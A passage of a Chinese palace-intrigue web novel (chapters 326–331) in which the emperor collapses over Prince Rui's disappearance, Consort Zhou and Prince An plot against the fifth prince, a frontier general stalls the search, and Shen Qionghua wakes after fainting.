早朝还未开一刻钟便散了,皇上被李顺全命人抬着送进了太极殿,太医院的太医都被宣了过去。 这样大的事情,谁也不敢张口宣扬出来,生怕被迁怒,因此沈琼华得消息就要晚一些。 沈家的消息晚,但镇国公人不在京中,镇国公府的消息却不会晚。 洛希瑶得到消息的第一反应便是拒绝相信,可是她又不得不相信。 消息的来源没有问题,谁也不敢拿这种事情去开玩笑。 她恍惚着,在婢女的搀扶下跌跌撞撞地来到了沈府。 见着沈琼华的瞬间便跌落在地,开口第一句便是,“琼华,不好了,表哥他……他在战场上重伤失踪了!” 沈琼华原本是面带微笑来迎接洛希瑶的,听到这句话还以为自己是听错了,下意识反驳道:“不可能!” 谢南渊不是一向擅长领兵打仗吗? 怎么可能会重伤失踪! 洛希瑶流着泪哽咽道:“是真的,琼华,这是今早边关传来的军——” 洛希瑶话还未说完,沈琼华便眼前一花,朝地上栽去。 洛希瑶大惊失色,连忙去接住沈琼华的身体,朝外大喊道:“来人呐!快来人呐!琼华晕倒了!” 第三百二十六章不要让父皇失望 太极殿。 谢荣在龙榻之上醒来时,一眼便看到了站在身侧神色憔悴的皇后。 他喉咙滚动,正想开口说些什么,却只能发出难以抑制的咳嗽声,“咳咳咳——” 守在一旁的皇后这才发现谢荣醒了,惊呼道:“皇上,您醒了!” “您终于醒了,您要吓死臣妾了!” 皇后一边流着泪,一边将谢荣从龙榻上扶起。 “你怎么在这?”谢荣声音虚弱地道,面色还有些苍白。 皇后哽咽着道:“皇上,您不记得了?您听到了瑞王重伤失踪的消息吐血晕倒了,被宫人们抬了回来。” “不仅是臣妾,后妃和皇子皇女们都很担心皇上,在偏殿候着呢。” 说着,她看向李顺全,道:“李总管,让他们都进来吧,皇上如今醒了,让他们看一眼,免得他们挂心。” 李顺全看了谢荣一眼,见谢荣默许,这才去偏殿将人带了进来。 乌泱泱地一群人涌入,周贵妃率先出声,一脸悲怆扑上前,道:“皇上,您要吓死臣妾与孩子们了,便是瑞王失踪了,您也要顾及自己的身体,以龙体为重啊!” 面上一副痛苦悲怆的样子,心里却半点不伤心,反而有几分庆幸。 庆幸下手得及时,没有将事情拖到无可挽回的地步。 当皇上在朝堂上吐血晕倒的消息传来时,她即便是再是自欺欺人,也不得不承认在皇上的心目当中安儿的地位是远远不及那个小贱种的。 上一回安儿回京,身受重伤,躺在太极殿偏殿奄奄一息,她知晓这一切不过是一场计谋,可还是忍不住心疼,伤心惊惧不已。 而那时作为安儿父亲的皇上被蒙在鼓中,却只是淡漠的看着这一切,一滴眼泪也未掉。 这与今日的吐血晕倒相比起来,态度简直是天壤之别。 看得周贵妃心中发寒。 有了周贵妃先开口,其他妃嫔与皇子皇女们都争先恐后的开口。 皇上吐血晕倒是何等大事,宫里除了没有资格面圣的低位妃嫔,能来的都来了。 谢荣的目光在这些人脸上一一掠过,在五皇子红肿的眼眶上停顿了一会儿,旋即落在了谢祁安的身上。 良久才收回视线。 出言打断这哄闹的场面,“好了!” 谢荣一开口,殿内顿时安静了下来。 谢荣缓了缓,这才又开口道:“朕不过是一时怒火攻心,并没有大碍。” “眼下最为重要的是渊儿的安危……李顺全!” “奴才在!”李顺全恭敬上前。 “传朕的旨意给远在边关的镇国公和林将军,务必命他们找到瑞王,决不能让瑞王有任何闪失,否则唯他们是问!”谢荣道。 李顺全恭声应下。 谢荣的眼神又落到了谢祁安的身上,“安王,你说朕说的对吗?” 周贵妃拿帕子拭泪的手一僵。 谢祁安眼神微动,上前拱手道:“父皇说的自然是对的,没有什么比三弟的性命更重要的了,更何况如今三弟身为边关大军的统帅,只有他在,军心才能稳。” “儿臣也盼着三弟能早日安全回军营主持大局。” 谢荣听到这回答,连眉毛都未曾动一下,没有人知晓他在想什么。 只是良久后,才淡淡地嗯了一声,道:“但愿如此。” “你们都回去吧,有皇后和永乐公主照顾朕就行了。” 若说方才周贵妃还有些惴惴不安,此刻听到这话又险些破功。 安儿在皇上心中比不上那个小贱种也就罢了,难道她和安乐在皇上心中也比不上皇后和永乐那丫头吗? “皇上,不如让臣妾和安乐一块留下来陪您吧,也好……” 剩下的话在谢荣极具压迫感的目光下咽了回去。 “臣妾告退。”周贵妃极为不甘地说下这句话,转身就走了。 既然是皇上的旨意,其他人自然也不敢逗留,都跟着离开了。 不少后妃在心中感叹,皇上最信任爱重的果然还是皇后。 殿内的人一个接一个的离开,唯有一个一步三回头的五皇子极为显眼。 谢荣的目光落到他身上,朝五皇子招了招手。 五皇子立刻走到谢荣跟前,微微躬身道:“父皇。” “你是有什么想说的吗?”谢荣嗓音温和道。 五皇子顶着一双红肿的眼睛,道:“父皇,三哥会回来的,对不对?他武功那么高强,打了那么多胜仗,这一次也一定会安全凯旋归来的!” 对于五皇子来说,除了顺贵嫔与皇上外,他最亲近,最信任的哥哥,就是谢南渊。 自收到这个噩耗时,五皇子便忍不住偷偷哭泣,便是方才在偏殿等候,也忍不住默默流泪。 谢荣摸五皇子的发顶,听着这些话,神色晦暗不明,“你倒是与你三哥关系好。” “三哥对儿臣好,儿臣自然也亲近三哥,以三哥为榜样。”五皇子道。 “既然以你三哥为榜样,那你的功课就也要努力向你三哥看齐,不要让父皇失望。”谢荣淡淡道。 他抬手擦掉五皇子眼睫上的泪,声音不辨喜怒,“记住,成大事者,永远不要将你的情绪轻易展露于人前。” 一直在旁边的皇听到谢荣的话,低垂的眼眸闪过一道暗芒。 五皇子觉着这话有些不对,可又想不出来有哪里不对,只能乖顺的应下。 谢荣看着乖巧的小儿子,嘴角勾起一抹笑,“去吧,回上书房去,你今日的课业还未完成。” 五皇子听从谢荣的话,转身出了太极殿。 —— 周贵妃怒气冲冲地回了延禧宫。 一进门就将最爱的珐琅彩的茶盏给砸了。 气急败坏道:“她皇后算个什么东西,一个区区七品小官家的女儿,若不是进了宫,连世家的门都进不了,竟还处处与本宫作对!” 若不是皇后依仗着是后宫之主,让她在偏殿等候,若是皇上一睁眼看见的就是她,皇上定然不会对她如此冷淡! 还有永乐,,嚣张跋扈,肆意妄为,除了个嫡公主的头衔,哪点比得上她的安乐。 谢祁安与安乐公主一前一后进的延禧宫,入目就是周贵妃大发雷霆的模样。 谢祁安眉头微蹙,眼睛扫视周围的宫人,道:“你们都下去吧。” 等殿内只剩下母女三人了,谢祁安才道:“如今正是敏感的时期,母妃即便心中再生气,也该忍耐一二才是。” “若是传到了父皇的耳中,岂非坏事。” 周贵妃咬牙。 忍忍忍! 她自入了皇家,便一直在忍! 从前母家低位,她为了在东宫的日子好过些,便一直卑微地讨好先皇后。 后来好不容易生了儿子,先皇后也死了,以为自己可以当上皇后,结果却被一个突然冒出来的七品官之女抢了皇后之位。 一时之差,便又多忍了十多年。 如今好不容易那个小贱种要死了,皇后没有儿子也嚣张不起来了,她做什么还要忍! 周贵妃看向谢祁安道:“你父皇就是偏心,一直偏向皇后母女,说什么最喜欢的公主是安乐,都是骗人的。” 安乐公主手中的帕子早就扭得不成样子了,此刻听到周贵妃的话,愤愤道:“母妃说的对,父皇就是偏心。” 就永乐那个嚣张跋扈,横行霸道的样子,哪里会照顾人! 谢祁安有些头疼地拍了拍安乐公主的脑袋,“莫要火上浇油,为兄已经很是心烦了。” 直到听到这话,周贵妃才反应过来,急慌慌地问道:“安儿,你父皇方才那是什么意思,他不会是觉着那贱种重伤失踪与你有关吧?” 第三百二十七章除了我,江山还能交给谁? 谢祁安其实也不知晓方才皇上话中的含义,他很确信在谢南渊失踪一事上他并没有露出马脚,不过…… 谢祁安冷笑一声,“即便是父皇猜到了是我做的又能如何,先不说此事我已做了严密的部署,定然不会牵扯到我身上来。” “一旦谢南渊身死,大皇兄身有残疾,四皇弟荒淫无度,都不堪大用,唯一一个五皇弟不仅年幼,生母还出身卑微。” “除了我,父皇还能将江山交给谁?” “到时我便是父皇唯一的选择,即便是父皇发现了我做的那些事情,也奈何不了我,除非他想后继无人。” 周贵妃看着一脸笃定的谢祁安,有些慌乱的心顿时镇定下来,露出一抹欣慰的笑,“安儿说的是,你做事一向周全,母妃很是放心。” “只是,你方才说的心烦是……” 说到这,谢祁安的脸色沉了下来,道:“谢南渊是真的失踪了。” “什么!”周贵妃豁然上前两步,道:“怎么会这样!” 谢祁安也不知晓为何会出了这样的纰漏。 原本按照计划,谢南渊重伤落单之后应当遭遇截杀,却没想到当他们的人到达时,就已经没了谢南渊的身影。 不过好在他并未回军营,这说明他的伤不是一般的重,需要找地方养伤,不然只怕是当日就回了军营。 再者,他没回军营,也不一定是养伤,说不定死了也有可能。 想到这,谢祁安宽慰周贵妃道:“母妃放心,据传回来的消息,谢南渊伤得极重,又没有药物治伤,他一个人未必能够活得下来。” “而且我已经派人在扩大范围搜索,只要将人找到,格杀勿论。” “他一个人,又身受重伤,即便是武功再高强,又能逃到哪去?” 也许是谢祁安的语气太过胸有成竹,周贵妃在慌乱了一瞬后,也被安抚住了。 只是还是有些担心,她握住谢祁安的手道:“可千万要小心,在没有绝对把握的情况下,决不能让人抓到把柄。” 这件事若是被人捅出来,那安儿就将被皇上彻底厌弃,这辈子与皇位都无缘了。 谢祁安郑重点头,“母妃放心,我心中有数。” 就在这时,门吱呀一声打开,周贵妃的心腹嬷嬷上前在周贵妃耳边低语了几句,周贵妃刚刚才舒展的眉眼顿时又是一蹙。 嬷嬷说完便退了下去。 周贵妃看向谢祁安,道:“安儿,你确定五皇子对你没有威胁吗?” 谢祁安神色一滞,“母妃这是何意?” “刚刚我们的人来报,说咱们出了太极殿后,你父皇又与五皇子说了好一会儿话。”周贵妃道。 “说了什么尚不清楚,你父皇一向谨慎,很难安插人手进太极殿,能收买的都是粗使宫女。” “不过在这种吐血昏迷醒来的情况下,你父皇还能与五皇子说那么久的话,就很能说明问题了。” “安儿,咱们可不要费尽心机,竹篮打水一场空,为他人做了嫁衣啊。” 周贵妃这最后一句话,明显带有深意。 谢祁安有些迟疑,“可五皇弟年幼,生母又出身卑微,况且若是继谢南渊之后,五皇弟又……未免太明显了一些。” 到那时,明眼人一看就知道是他做的手脚。 谢祁安虽然想要皇位,却也不想留下一个心狠手辣,残害兄弟的名声。 周贵妃紧紧攥住谢祁安的手,道:“安儿,成大事者,不必在意这些细枝末节。” “再者,五皇子今年已经十一岁了,再过几年便是可以成婚的年纪,也不小了。” “难不成你将那小贱种除掉之后,过几年又与五皇子分庭抗礼吗?” “至于出身,皇后不是一直想要抚育五皇子吗?” “若是那小贱种真死了,顺贵嫔看到其他皇子有登位的希望,未必不肯将五皇子过继给皇后。” “到那时,他就是嫡子,继承大位,名正言顺,咱们再动手就晚了。” 见谢祁安神色还是有些犹豫,周贵妃接着道:“说不定,此番五皇子能在皇上面前多停留近一刻钟,便是皇后在中间起的作用,而且……” 周贵妃盯着谢祁安的眼睛道:“安儿,你不要忘了,你父皇总是嘴上嫌弃五皇子的课业,但这也证明他是实实在在盯着五皇子的课业的。” “这些皇子中,除了你和那个小贱种,大皇子与四皇子幼时可没有这个待遇。” 最后一句话,点醒了谢祁安。 原先大家都以为是四皇弟太过荒淫无度,才使得父皇对五皇弟的功课格外上心。 可倘若不是这个原因呢? 倘若是父皇看重五皇弟呢? 第三百二十八章周贵妃的计谋 此前因着五皇子年幼,顺贵嫔又是宫女出身,谢祁安从未想过这等可能。 因为皇上并不是从五皇子一生下来开始,便对五皇子这般上心的。 当初顺贵嫔怀孕的时候不过是一个小小的贵人,为人又怯懦,并不得宠。 因此五皇子生下来后,除了被晋为贵嫔,皇上并不疼爱五皇子。 相反,皇上视五皇子如无物。 只有偶尔想起来了才会前往顺贵嫔处看望五皇子,却也是屈指可数。 那时,皇上眼中根本看不下其他皇子,只有亲自教养的谢南渊能入皇上的眼。 便是他,也是凭借着与谢南渊年岁相近,又因母妃那时还剩下些稀薄的宠爱,才能让皇上在检查谢南渊课业的同时,顺带上他。 是什么时候,皇上的对五皇子开始上心的呢? 谢祁安在脑中仔细回想着。 好似是四皇弟十二岁时在一次宫宴上醉酒宠幸了一个宫女,被人撞见了。 皇上便对四皇弟有些失望,觉着四皇弟年岁尚小,不应当这般早就沉溺于女色当中。 也察觉到自己对四皇弟太过疏忽,便也开始过问四皇弟的课业,才发现他的课业一塌糊涂。 于是严令他修身养性,好好读书,谁知四皇弟管不住自己,在上书房还不忘调戏宫女,被皇上知道后震怒。 恰逢此时,又有一个宫女跪到了太极殿门口,声称怀了四皇弟的骨肉,求皇上给她做主。 年仅十二岁的四皇弟竟然就当上了父亲,皇上一怒之下下令彻查。 这才发现,不仅宫中的一些宫女与四皇弟有牵连,甚至于他身边的侍女,都与其发生过关系了。 自那以后,皇上便彻底放弃了四皇子,转而管起了五皇子。 声称即便五皇子将来才能不出众,也决不能让他跟四皇子一样荒唐。 就这样,这么多年过去了,除了谢南渊,五皇子可以称得上是皇上花费心血最多在其身上的皇子。 有些事情是经不起细想的,尤其是对于谢祁安这种本就心胸狭窄,睚眦必报的人来说。 此刻经过周贵妃一番提醒,谢祁安也觉着五皇子对于他的威胁有些大。 皇上最疼爱的皇子是谢南渊,这一点是毋庸置疑的。 亲手养大的儿子与偶尔探望的儿子,心会偏向哪边自是不必说。 可他除掉了谢南渊,皇上就真的会封他为储君吗? 即便是封他为储君了,若是皇上长寿些,过几年五皇弟长大了,皇上会不会动了废储另立的心思? 毕竟顺贵嫔出身卑微,可只要皇上不介意,那就不算是个事,更何况……还有皇后在一旁虎视眈眈,很乐意将五皇子记在名下。 谢祁安突然发觉,这个一向不被他放在眼中的五皇弟,似乎成了继谢南渊之后对他的第二个阻碍。 谢祁安安静地站在那,可眼中却酝酿着风暴。 半晌后,他嘶哑着嗓子开口,“那母妃认为该如何?若是继谢南渊之后对五皇弟下手,只怕父皇会起疑心。” 见谢祁安默认了,周贵妃嘴角缓缓勾起一抹笑。 她就知晓安儿定然不会让她失望的。 周贵妃红唇微张,说出来的话与窗外的雪一样寒冷,“眼下不就有个再好不过的机会?” 见谢祁安面带疑惑,周贵妃缓缓道:“你方才看到了五皇子红肿的眼睛没?” 谢祁安缓缓点头,“他与谢南渊关系一向亲厚,知晓谢南渊下落不明,生死不知,自然伤心。” 周贵妃轻笑道:“是啊,五皇子到底年纪还是有些小,又与贱……瑞王,一向要好,知晓瑞王下落不明,伤心惊惧不已,夜不能寐。” “五皇子白日要温书,晚上又因担忧瑞王彻夜难眠,用膳也食之无味,冬日寒凉,这样日复一日之下,身体遭受不住病倒了。” “卧床养病之际,又听闻瑞王身死的噩耗,兄弟情深,伤心之下,竟撒手追随瑞王而去。” “这个结果,安儿,你认为如何?”周贵妃一双丹凤眼微挑,眸中满是恶意。 谢祁安沉思,“母妃的意思是,将五皇子的死归咎于谢南渊身上?” 周贵妃缓缓点头,“你不是觉着下手处理五皇子有些过于明显了吗?他们兄弟二人情深何人不知,如今瑞王失踪,五皇子定是要伤心许久的。” “若是五皇子是因瑞王失踪而担忧病倒的,那可不关咱们的事,你父皇也查不到咱们身上来。” “至于后面他死了,也是他自己承受不住噩耗,那就更与咱们无关了。” 谢祁安听罢,与周贵妃对视一眼,道:“母妃果然好计谋,儿臣这便去办。” “去吧,记着做得隐蔽些。”周贵妃摆摆手道。 谢祁安很快就离开了延禧宫。 安乐公主在一旁听到了周贵妃母子全程的对话,这会儿正颇为欢喜地拉着周贵妃的袖子撒娇。 “母妃,好母妃,你这个计谋可真是好极了,若是五皇子死了,我看永乐那个贱人还怎么在我面前嚣张!” 永乐与皇后不正是打着要将五皇子养在膝下,想将来扶五皇子登位,不需要依仗兄长,才敢在她面前如此嚣张。 若是谢南渊与五皇子都死了,那父皇也就只能传位给兄长了。 到时她定要狠狠折磨永乐,将这些年受的气都加倍讨回来。 安乐公主这般想着,娇美的脸上都是幸灾乐祸与畅快,仿佛已经看见了永乐公主跪在她面前忏悔求饶的情形。 周贵妃听到这话,不仅没有申斥,反而一脸心疼地抚摸着小女儿的脸颊,道:“你放心,等你兄长登基后,咱们母女就再也不用处处看人脸色了,到时你就是大越最尊贵的长公主。” “你想要什么,都可以,没有人能跟你抢。” 皇后又如何,嫡公主又如何,终究得看她的脸色过活。 她隐忍了这么多年,也该轮到她赢一回了。 谁,都别想阻挡她们母子三人的路。 安乐公主听着周贵妃的话,眼眸闪了闪,脑中浮现傅琛的身影。 没有人能与她抢吗? 第三百二十九章军心所向,左右不了 边关。 营帐内。 镇国公神色焦急地来回踱步。 一阵急促的脚步声响起,几道身穿铠甲的身影匆匆进了营帐。 镇国公见状立马上前,焦急问道:“怎么样?有找到王爷的踪迹吗?” 几位副将具都摇头,其中一位副将苦着脸道:“没有,这几日下雪,大雪将路上的痕迹都掩盖住了,根本找不到一点踪迹,王爷……王爷该不会……” 剩下的话,副将都说不出来。 但每个人心里都知晓,瑞王怕是凶多吉少了。 瑞王受了那么重的伤失去了踪迹,本就凶险,再加上天公不作美,失踪的第三日便下起了大雪。 即便是瑞王侥幸没死,伤势太重找了个地方憩身,但这天寒地冻的,既没有粮食厚褥,也没有治疗的伤药,也是存活不下来的。 镇国公有些艰难地闭了闭眼睛,掩住眼底的哀伤,半晌才开口,声音不容置疑道:“那就接着找,无论如何,活要见人,死要见尸,决不能放弃!” 镇国公话音刚落,一旁捧着茶盏的林大将军便开口了,“国公爷,这不合适吧?” 镇国公凌厉的目光落在林大将军的脸上,“如何不合适?” 林大将军开口道:“如今已经是第五日了,人若是能找回来早就找回来了,五日都没有找回来,结果可想而知。” “我认为咱们不应当将精力放在寻人这件已知结果的事情上,你别忘了,瑞王是五日前与陈国交战时失踪的。” “战争还没结束,一旦雪停了,陈国极有可能会卷土重来,如今要做的应当是让将士们养精蓄锐,以待雪停后应付陈国的进攻,而不是将时间都花费在寻人这等无意义的事情上。”林将军一脸大义凛然地说道。 他虽这样说,但心里是什么心思打量别人不知道一样。 镇国公双目喷火,正想要说什么,一道身影便率先冲了进来。 “我看谁敢放弃寻找王爷,王爷都是为了掩护我们撤离才会失踪,你们这些狼心狗肺的东西!” 说话的人正是临泽。 临泽与纪北顶着一身寒霜从外头寻人回来,想要来探听一下其他人的消息,刚走到帐子前便听到了林将军的话。 临泽较为冲动,想也没想就冲了进来。 这‘狼心狗肺’骂的是谁,不言而喻。 林将军在军中多年,自认为劳苦功高,如今被临泽指着鼻子骂,如何肯忍。 当即就怒声道:“临校尉,本将军直到王爷失踪,你很伤心,但这样并不代表你可以随意指责本将军,你只不过是一个小小的校尉,莫要逾矩了。” 临泽才不管什么尊卑,他效忠的只有王爷一人。 如今林将军要堵死王爷最后一条生路,那就是他的敌人,跟敌人讲话,还有什么需要最下留情的。 临泽当即就道:“我呸,打量我不知道你什么心思呢,亏你还是受人尊敬的老将军,大敌当前,你竟还有心思使这种手段。” “你对得起你手下那些士兵吗?他们知道你在这搞内讧吗?” “哦,我忘了,林将军如今官拜二品,早就不记得来时路了,一心都扑在了京城的阴谋算计中。” 临泽怒骂着,双目猩红,像极了被逼到穷途末路的疯子。 这隐喻着实是明显,当着营帐里几位副将的面,林将军自然不能承认。 他怒拍桌案道:“临校尉!你不要太过分了,在这胡言乱语!” “你说我们狼心狗肺,对,是瑞王掩护我们安全撤离的,但这不是他应该做的吗?” “当时那种情况下,换做是本将军,本将军也会那么做,不过是被瑞王抢先了而已。” “都是同生共死的战友,怎么到了临校尉的嘴里,就好像是在责怪我们害王爷失踪了一样。” “怎么?难道临校尉是觉着不应该让王爷留下来?那临校尉觉着应该让谁留下来?” “临校尉觉着王爷不该死,那谁该死呢?” 营帐里不止有镇国军的副将,还有林将军手下的副将。 他们可不像其他几人唯镇国公和瑞王马首是瞻,此刻听到了林将军的话,脸上闪过几丝怪异。 临泽如何能忍受林将军这样污蔑。 他一个小小校尉,林将军自然是看不上眼的,但他是王爷的人,林将军这样污蔑他,不外是想通过污蔑他来达到攀蔑王爷的目的。 瑞王如今生死不知,临泽绝不允许他这样损坏瑞王的名声。 当即就怒道:“林……” “林将军,听你这样说,瑞王留下来掩护你们撤退还做错了?”镇国公打断了临泽即将要说出口的话,沉声道。 林将军闻言,站起身,双手背于身后,轻蔑地看着镇国公,“本将军可没有这么说,怕是国公爷你是这样想的,所以才由己度人,觉得本将军与你想的一样。” 镇国公冷笑,“林将军没有这样想最好,至于你提的暂停寻人的建议,本国公不同意。” “国公爷……” 林将军还待要说什么,镇国公却并不想听,强势道:“林将军,你方才都说了瑞王与将士们都是同生共死的战友,怎么如今,战友失踪,林将军连尸身都不想找,就想要宣判瑞王的死刑吗?” “如此做法,未免也太令人心寒了。” “你!”林将军面带愠怒,道:“我这也是从大局着想,为将士们着想……” 镇国公快速道:“你若真是为将士们着想,就更应当要尽快将瑞王寻回,哪怕是有一线希望都是好的。” “你别忘了,瑞王是主帅,主帅失踪,对军心的影响可想而知。” “再者,你不如出去问问将士们,到底是想出去搜寻瑞王的下落,还是想要待在这温暖的营帐内养精蓄锐!” ‘养精蓄锐’四个字从镇国公嘴里说出来,听着极为讽刺。 “你!”林将军瞪着镇国公,却也知晓他奈何不了镇国公。 因为他清楚的知晓比起温暖的营帐,外头的那些士兵们更想出去寻找瑞王。 瑞王在军营中待了这么多年,打过的胜仗数不胜数,在将士们心中的威望不是一般的高。 不说镇国公手底下的镇国军,便是他麾下的士兵也大多数都很崇拜瑞王。 军心所向,不是他能左右的。 第三百三十章事在人为,人定胜天 “好好好,本将军一心为战局着想,却被人如此误解。” “既如此,本将军也就不讨这个嫌了,一切都交由国公爷处置吧。” “只是希望,当陈国士兵发起进攻时,国公爷也能凭着你这强硬的态度将其击溃。”林将军怒道。 “那是自然。”镇国公幽幽道,看向林将军的眼中隐藏着怒火,“林将军不必如此气急败坏,瑞王失踪,到底如何处置你我说的都不算。” “本国公三日前便已派人十万火急将战报连同瑞王失踪的消息送往京中,今日应当已经呈到了皇上面前。” “瑞王失踪一事,相信皇上自有决断。” “但在皇上的旨意送来之前,谁都不许放弃寻找瑞王!”镇国公沉声道,凌厉的视线扫向一众副将,尤其是林将军手下的几个副将。 听到要等皇上的旨意前来,林将军的脸色顿时难看了起来。 皇上一向疼宠瑞王,自然是要千方百计地将瑞王寻回。 他原本就想着趁天高皇帝远,用大道理向镇国公施压,不让他派出大量人手去寻瑞王。 如今天寒地冻,今日已经是第五日了,只要拖住镇国公,再过两三日,即便是瑞王再是能耐,也不可能撑住。 到时即便是皇上的圣旨来了,找到的,只怕也是一具尸体,可是…… 林将军双拳紧握,如今瑞王是主帅,镇国公是副帅。 主帅不在,自然一切听从副帅的调遣,他根本左右不了镇国公的决定。 林将军冷笑一声,道:“国公爷身为副帅,掌管军营里一切事务,既然国公爷都这样说了,那本将军还有什么可说的。” “只能希望国公爷能早日找到王爷,以免耽误了战局。” “那就借林将军吉言了。”镇国公神色冰冷地看着林将军道。 “本将军还有事要处理,就不在这叨唠国公爷了。”林将军也不等镇国公说话,瞥了眼自己麾下的几名副将,道:“我们走!” 一行人向外走去。 出了营帐,林将军都能听见营帐里头临泽的怒吼,“真是一群狼心狗肺的畜生,竟还想……” 接下来是镇国公的安抚声。 等到林将军与麾下的副将分开后,回到营帐,掀起帘子时,余光又瞥见了临泽与纪北带着一列士兵们出了军营。 账内。 炭火烧得正旺。 林将军大步流星地走到案几前坐下。 心腹立刻倒了一杯热茶递给他,“将军莫气,眼下瑞王失踪,镇国公一行人自然急得跳脚,说话口无遮拦,您不必与他们一般见识。” 林将军接过热茶,试了试温度,随后一饮而尽,这才勾起唇角冷笑道:“生气?本将军才不生气。” 今日这一番,不过是为了试探镇国公一行人罢了。 如今以方才镇国公的强硬与临泽的愤怒来看,瑞王是真的还没有找到,不然也不会在他说出暂停找人时那般生气。 没找到好啊。 如今已经是第五日了,瑞王身受重伤,又没有药物治疗和粮食被褥,即便是还活着,也快到极限了。 这是好消息,他怎么会生气呢? 林将军看向心腹,道:“王爷今日可有传什么消息来?” 这个王爷,自然指的是安王。 心腹摇了摇头,“并没有,眼下时机敏感,也许王爷也有所顾忌。” 林将军淡淡地嗯了一声,“若是王爷有消息传来,第一时间告知本将军。” 心腹应下,又给林将军倒了一杯热茶,便退了下去。 昏黄的烛光下,林将军捧着茶盏,感受着指尖的温度,眼神晦暗不明。 他花了数十年的时间,才从一个普通士兵一路爬到了正二品大将军的位置。 可即便是这样,林家在那些世家眼中也不过是还没洗干净腿上泥巴的泥腿子罢了。 表面上忌惮他手中掌管的兵权对他笑颜以待,私下里可没少编排他,这些他都心知肚明。 可却又无可奈何。 心中早就憋着一把火。 林家若是想要真正在京城立足,至少还需要十数年的时间。 一代人起来了,并不代表什么,难的是屹立而不倒,这就需要出色的后代能将他如今的荣耀维持下去。 可问题就出现在这里。 他虽生了三个儿子,可个个平庸,如今最出色的大儿子在他的扶持下,才不过是一个小小的副尉。 便是连瑞王身边的临泽都不如。 临泽虽只比大儿子高一级,可却比大儿子小足足五六岁。 更别提其他两个儿子了。 很显然,这三个儿子都不足以延续他的荣耀。 他后继无人。 一旦他身死,林家便要没落了。 他多次出生入死才从泥里爬出来,换来了林家如今的盛况,若是他百年之后,林家又落回了泥潭中,他即便是死也不能瞑目。 恰在这时,安王向他抛来了橄榄枝。 这让他看到了希望。 永宁伯府是怎样复起的,京城人人皆知,稍微一打听便能知晓。 一开始,是靠着永宁伯对当今皇上的救驾之功。 而后,是宫里盛宠的周贵妃。 周贵妃是从后,倚靠的是二皇子安王。 一个落魄得需要变卖东西维持生计的侯府,尚能恢复到如今,更何况他林府呢? 他林府如今可正值巅峰,三个儿子虽然能力不行,但要没落也是许多年之后的事情。 安王向他提出结亲时,这让他看到了另一种可能。 趁林家如今还鼎盛,若是颜儿能嫁给安王,他扶持安王登上帝位。 那将来颜儿便是大越的皇后,而他就是国丈。 若是凭借着颜儿的关系,以及他的从龙之功,向已经成为帝王的安王求一个爵位,想必安王是能答应的。 如此一来,有了世袭罔替的爵位,林家便彻底摆脱了泥腿子的出身,跻身世家行列。 而且林家出了一个皇后,将来安王驾崩,那颜儿就是太后,说不定将来坐在龙椅上的人血脉中都流淌着他林家的血。 这样一来,即便是三个儿子都不出众,林家也落魄不到哪里去。 只要老本还在,只要世袭罔替的爵位还在,林家将来就还有希望。 只要有后代中有一人出众,林家便能重回顶峰。 这是他为林家想的,最好的出路。 至于为何选安王,不选皇上宠爱的瑞王。 一来是瑞王性格冷漠,不好接近,二来瑞王有镇国公做后盾,镇国公府势大,他若是投靠瑞王,瑞王未必会将他放在心上,即便是将来登上帝位,他也得不到多少好处。 而安王却不同,安王没有军功傍身,即便是永宁伯手中有一部分京城兵力的管辖权,但缺少威望,并不能服众。 且永宁伯犯了错事,连爵位都被降了,安王当时可以说是内忧外患。 他此时投靠了安王,安王才能记得他的好。 他的付出才会被重视,将来也能得到最大的奖赏。 至于皇上更偏向瑞王,瑞王夺储的机会比安王大? 富贵险中求,既然要赌就赌一把大的。 赢了,林家后面几辈子都不用愁了。 输了……不,他怎么可能会输! 老天爷是眷顾他的,当年他从泥潭里跑去参军,不也是一场豪赌吗? 事在人为,人定胜天,即便是皇上再心仪瑞王,可要是瑞王没了,皇上还能执意将皇位给一个死人不成? 林将军嘴角溢出一抹冷笑,仰头将杯中热茶一饮而尽。 第三百三十一章王爷不会回不来的 沈府。 沈琼华迷迷糊糊醒来时,第一眼便是头顶上的芙蓉花开图案的帐子。 紧接着便是洛希瑶哽咽的声音,“琼华!琼华你醒了,你怎么样了?” 随着洛希瑶的声音响起,屋内的其他人也注意到了床榻上的人睁开了眼睛。 沈琼华微微侧头,便看见了榻边围了一圈人。 有洛希瑶,有林婉茹,有沈逸,芍药……具都用紧张的神情看着她。 她喉咙滚动了一下,似是想要说什么。 放在身侧的手微微支起,芍药立刻会意上前搀扶着她。 沈琼华撑着芍药的手,借着力气支起上半身,靠在靠枕上,这才开口说了第一句话,“你们怎么都在这?” 脸色有些苍白,声音也有些虚弱无力,但精神还算好。 林婉茹擦了擦眼角的泪,正要说话,一旁的洛希瑶却‘哇’地一声哭了出来。 洛希瑶一边哭一边道:“琼华,你真是吓死我了,我还以为你醒不过来了呢!” 不怪洛希瑶崩溃,实在是这短短的几个月内经历的太多的事情。 先是从镇国公府书房内搜到了东西,发觉有人想要谋害栽赃镇国公,而后又是瑞王重伤失踪,生死不知,如今连沈琼华都倒下了。 洛希瑶再是告诉自己要冷静,也不过是一个十六岁的未出阁的少女。 出了这种事,原本还有沈琼华这个好友能够彼此支撑安慰一下,可沈琼华突然晕倒,洛希瑶就彻底慌了神。 这种慌乱害怕的感觉林婉茹感同身受。 林婉茹原本待在自己院中好好的,突然听说沈琼华晕倒了,只感觉天都要榻了。 沈琼华是沈家唯一可以支撑门户的人,若是沈琼华倒下了,沈家还不得被人吃干抹净。 此刻因着洛希瑶哭得太过伤心,林婉茹也感到有些后怕,抹起了泪来。 二人哭得一个比一个伤心,沈琼华木然地转头看向沈逸。 沈逸红着一双眼,倒是强忍着没哭。 沈琼华朝他招了招手。 沈逸走上前,糯糯开口道:“阿姐,你吓死我和阿娘了。” “对不起啊,吓着我们阿逸了,阿姐以后定不会这样了。”沈琼华摸了摸沈逸的发顶道。 “阿姐,你晕倒是不是因为……因为……” 沈逸的华还未说完,便被林婉茹抢了先。 只见她哭得梨花带雨,哽咽地问道:“华姐儿,你为何会晕倒?是因为出了什么事情?还是心情不好?” “你这孩子,有什么事都与阿娘说啊,憋在心里会憋出病来的。” 林婉茹还以为沈琼华是压力太大才晕倒的,毕竟沈琼华一边要打理沈家的生意,一边又要应付安王等人的迫害。 时间长了,便是铁打的身体都扛不住。 沈琼华昏迷了一天一夜,再是消息延迟,也该传出来了,更何况沈逸对谢南渊一向敬仰,总是会主动打听谢南渊的消息,如今也已知晓了谢南渊失踪的消息。 这屋中,或许就只有林婉茹一人不知晓了。 洛希瑶的哭声已经渐渐停了,听到林婉茹的话,她张了张口想要说什么,可触及沈琼华的目光又咽了回去。 